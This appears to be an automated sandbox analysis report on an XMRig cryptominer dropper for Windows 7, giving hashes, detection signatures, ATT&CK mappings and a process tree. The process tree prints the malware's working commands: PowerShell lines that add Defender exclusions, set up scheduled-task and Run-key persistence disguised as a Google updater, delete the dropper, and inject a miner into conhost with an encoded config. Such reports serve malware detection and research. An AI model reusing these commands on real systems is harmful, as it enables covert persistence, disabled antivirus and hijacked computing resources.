xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
407s
max time network
1799s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target

grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 2028 created 1312	2028	XJEzW6M7WvHaF3EX.exe	15
PID 2028 created 1312	2028	XJEzW6M7WvHaF3EX.exe	15
PID 2028 created 1312	2028	XJEzW6M7WvHaF3EX.exe	15
PID 2028 created 1312	2028	XJEzW6M7WvHaF3EX.exe	15
PID 1072 created 1312	1072	updater.exe	15
PID 1072 created 1312	1072	updater.exe	15
PID 1072 created 1312	1072	updater.exe	15
PID 1072 created 1312	1072	updater.exe	15
PID 1072 created 1312	1072	updater.exe	15

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral27/memory/2232-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral27/memory/2232-143-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2744	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1072	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2164	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral27/memory/2232-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral27/memory/2232-143-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1072 set thread context of 1712	1072	updater.exe	48
PID 1072 set thread context of 2232	1072	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	XJEzW6M7WvHaF3EX.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2596	schtasks.exe
1552	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1308	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 703aaa71e450da01	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2028	XJEzW6M7WvHaF3EX.exe
2028	XJEzW6M7WvHaF3EX.exe
2648	powershell.exe
2028	XJEzW6M7WvHaF3EX.exe
2028	XJEzW6M7WvHaF3EX.exe
2784	powershell.exe
2028	XJEzW6M7WvHaF3EX.exe
2028	XJEzW6M7WvHaF3EX.exe
2028	XJEzW6M7WvHaF3EX.exe
2028	XJEzW6M7WvHaF3EX.exe
2736	powershell.exe
1072	updater.exe
1072	updater.exe
2488	powershell.exe
1072	updater.exe
1072	updater.exe
1068	powershell.exe
1072	updater.exe
1072	updater.exe
1072	updater.exe
1072	updater.exe
1712	conhost.exe
1712	conhost.exe
1072	updater.exe
1072	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	2488	powershell.exe
Token: SeDebugPrivilege	1068	powershell.exe
Token: SeDebugPrivilege	1072	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1308	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1308	WMIC.exe
Token: SeSecurityPrivilege	1308	WMIC.exe
Token: SeTakeOwnershipPrivilege	1308	WMIC.exe
Token: SeLoadDriverPrivilege	1308	WMIC.exe
Token: SeSystemtimePrivilege	1308	WMIC.exe
Token: SeBackupPrivilege	1308	WMIC.exe
Token: SeRestorePrivilege	1308	WMIC.exe
Token: SeShutdownPrivilege	1308	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1308	WMIC.exe
Token: SeUndockPrivilege	1308	WMIC.exe
Token: SeManageVolumePrivilege	1308	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1308	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1308	WMIC.exe
Token: SeSecurityPrivilege	1308	WMIC.exe
Token: SeTakeOwnershipPrivilege	1308	WMIC.exe
Token: SeLoadDriverPrivilege	1308	WMIC.exe
Token: SeSystemtimePrivilege	1308	WMIC.exe
Token: SeBackupPrivilege	1308	WMIC.exe
Token: SeRestorePrivilege	1308	WMIC.exe
Token: SeShutdownPrivilege	1308	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1308	WMIC.exe
Token: SeUndockPrivilege	1308	WMIC.exe
Token: SeManageVolumePrivilege	1308	WMIC.exe
Token: SeLockMemoryPrivilege	2232	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2784 wrote to memory of 2596	2784	powershell.exe	32
PID 2784 wrote to memory of 2596	2784	powershell.exe	32
PID 2784 wrote to memory of 2596	2784	powershell.exe	32
PID 2744 wrote to memory of 2780	2744	cmd.exe	37
PID 2744 wrote to memory of 2780	2744	cmd.exe	37
PID 2744 wrote to memory of 2780	2744	cmd.exe	37
PID 2736 wrote to memory of 3052	2736	powershell.exe	38
PID 2736 wrote to memory of 3052	2736	powershell.exe	38
PID 2736 wrote to memory of 3052	2736	powershell.exe	38
PID 2164 wrote to memory of 1072	2164	taskeng.exe	40
PID 2164 wrote to memory of 1072	2164	taskeng.exe	40
PID 2164 wrote to memory of 1072	2164	taskeng.exe	40
PID 1068 wrote to memory of 1552	1068	powershell.exe	47
PID 1068 wrote to memory of 1552	1068	powershell.exe	47
PID 1068 wrote to memory of 1552	1068	powershell.exe	47
PID 1072 wrote to memory of 1712	1072	updater.exe	48
PID 2528 wrote to memory of 1308	2528	cmd.exe	53
PID 2528 wrote to memory of 1308	2528	cmd.exe	53
PID 2528 wrote to memory of 1308	2528	cmd.exe	53
PID 1072 wrote to memory of 2232	1072	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1312
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2596
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:3052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1068
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1552
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1712
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
    3⤵
    - Drops file in Program Files directory
    PID:1360
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2528
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1308
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2232

C:\Windows\system32\taskeng.exe
taskeng.exe {B9901562-2D58-48C4-BDD6-4496A4D3EDF8} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2164
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
1.5MB

MD5
bf283bed1f69e72ce882c90d04377120

SHA1
a7606e97b32bce307f062023f86177b369d73043

SHA256
93f277cf3089866888e42a33ea6fc6dc1dd98952cd3681edf9b4fc1c855950c5

SHA512
f902efb0c697840f9ab49e6cae97e1dee0de39ab6c3ba32ce837252e53284c6ecc6d4e7e9f95b69b1c61c6293ee68d87c173f873714aefcd06f752394300531d

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
99719879e4522b010a490d41b98b9e2b

SHA1
0ea02ed109c90b39799361ee79cad323b03bcea7

SHA256
ce3638c78dfb859924ad06a57699f42a9633e71c0b2f462643329546f75cf710

SHA512
223ff5a4fcae9cc03b60f69e0c644895ab3617d1dbc07b5e21489a9c29365b1c2b4add1943fd5cb4f776d802491b3cd816ca8037a0658c47859bbc0454e806da

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/1068-55-0x0000000001070000-0x00000000010F0000-memory.dmp

Filesize
512KB

Download
memory/1068-59-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/1068-57-0x0000000001070000-0x00000000010F0000-memory.dmp

Filesize
512KB

Download
memory/1068-58-0x0000000001070000-0x00000000010F0000-memory.dmp

Filesize
512KB

Download
memory/1068-56-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/1068-54-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/1072-66-0x000000013F820000-0x000000013FA31000-memory.dmp

Filesize
2.1MB

Download
memory/1072-45-0x000000013F820000-0x000000013FA31000-memory.dmp

Filesize
2.1MB

Download
memory/1712-71-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1712-75-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2028-29-0x000000013F120000-0x000000013F331000-memory.dmp

Filesize
2.1MB

Download
memory/2028-0-0x000000013F120000-0x000000013F331000-memory.dmp

Filesize
2.1MB

Download
memory/2232-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-143-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-141-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-79-0x0000000000930000-0x0000000000950000-memory.dmp

Filesize
128KB

Download
memory/2232-78-0x0000000000910000-0x0000000000930000-memory.dmp

Filesize
128KB

Download
memory/2232-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-68-0x0000000000040000-0x0000000000060000-memory.dmp

Filesize
128KB

Download
memory/2232-67-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-69-0x0000000000910000-0x0000000000930000-memory.dmp

Filesize
128KB

Download
memory/2232-70-0x0000000000930000-0x0000000000950000-memory.dmp

Filesize
128KB

Download
memory/2232-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2232-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2488-46-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

Filesize
9.6MB

Download
memory/2488-51-0x0000000001060000-0x00000000010E0000-memory.dmp

Filesize
512KB

Download
memory/2488-52-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

Filesize
9.6MB

Download
memory/2488-49-0x0000000001060000-0x00000000010E0000-memory.dmp

Filesize
512KB

Download
memory/2488-50-0x0000000001060000-0x00000000010E0000-memory.dmp

Filesize
512KB

Download
memory/2488-48-0x000007FEF5320000-0x000007FEF5CBD000-memory.dmp

Filesize
9.6MB

Download
memory/2488-47-0x0000000001060000-0x00000000010E0000-memory.dmp

Filesize
512KB

Download
memory/2648-6-0x0000000001E90000-0x0000000001E98000-memory.dmp

Filesize
32KB

Download
memory/2648-10-0x0000000002080000-0x0000000002100000-memory.dmp

Filesize
512KB

Download
memory/2648-13-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2648-5-0x000000001B210000-0x000000001B4F2000-memory.dmp

Filesize
2.9MB

Download
memory/2648-12-0x0000000002080000-0x0000000002100000-memory.dmp

Filesize
512KB

Download
memory/2648-11-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2648-8-0x0000000002080000-0x0000000002100000-memory.dmp

Filesize
512KB

Download
memory/2648-9-0x0000000002080000-0x0000000002100000-memory.dmp

Filesize
512KB

Download
